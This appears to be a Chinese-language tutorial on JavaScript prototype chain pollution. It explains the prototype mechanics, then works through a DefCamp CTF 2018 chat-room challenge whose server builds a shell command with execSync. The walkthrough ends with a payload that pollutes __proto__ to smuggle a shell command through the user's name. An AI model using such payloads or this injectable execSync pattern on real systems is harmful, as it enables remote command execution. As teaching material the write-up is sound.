0x01 先谈谈自己的理解
function a(){}
var b=new a()
var c = {}
a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c
- 这个时候 b的
__proto__
指向的就是a.prototype
a.prototype
的__proto__
指向的是Object.prototype
- b的
constructor
指向的也是function a(){}
- 而a它的
__proto__
指向是Function.prototype
现在Function.prototype. constructor
指向的是Function(){}
- 上面的
Function(){}
也有__proto__
指向Function.prototype
Function.prototype
的constructor指向的也是Function(){}
Function.prototype
的__proto__
同时又指向Object.prototype
Object.prototype
的 constructor 又是Object
- 这个 Object; 的
__proto__
又 指向的是Function.prototype
- Object.prototypet的__proto__ 是
null
- 在补充一下
a.constructor
指向的是Function
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
let son1 = new Son()
son1.__proto__ //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ //Object { first_name: "Donald", last_name: "Trump" }
总的来说prototype
相当于其它语言面向对象中的继承父类
图片参考地址
0x02 原型链污染是什么
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar) // 1
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar) //1
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar) //2
0x03哪些情况下原型链会被污染?
1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge
为例,我们想象一个简单的merge
函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
我们试试这个代码
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //undefined
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript
创建o2的过程let o2 = {a: 1, "__proto__": {b: 2}}
中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key
,自然也不会修改Object
的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成这样:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //2
这是因为,JSON
解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
0x04 例题分析
我们这儿以DefCamp CTF 2018 上的一道题目为例
大致看了一下,为一个聊天室的node.js代码
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
客户端的代码比较简单,我们继续跟进server.js的代码
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
发现一个很明显的命令执行漏洞,我们继续查看哪儿调用这个函数
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
所以下一个问题则变成了如何控制变量 u
或 c
,即用户输入的 username
和 country
,但问题是不是这么简单呢?当然不是,服务端会对用户的输入做非常严格的校验:
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys(inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
}
我们可以CTRL+F
查找有没有让我们可以进行Prototype污染攻击
的地方,上文说了一般两个函数(merge,和clone)
可以形成攻击环境
function clone(obj) {
if (typeof obj !== 'object' || obj === null) {
return obj;
}
var newObj;
var cloneDeep = false;
if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
} else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
} else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
} else {
var proto = Object.getPrototypeOf(obj);
if (proto && proto.isImmutable) {
newObj = obj;
} else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
} else {
newObj = [];
cloneDeep = true;
}
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor && (descriptor.get || descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
} else {
newObj[key] = clone(obj[key]);
}
}
}
return newObj;
}
这儿明显clone
可以利用,于是我们构造payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555
,第二参数为进入聊天室的名字
我在windows上复现的,所以使用的dir命令。
复现成功!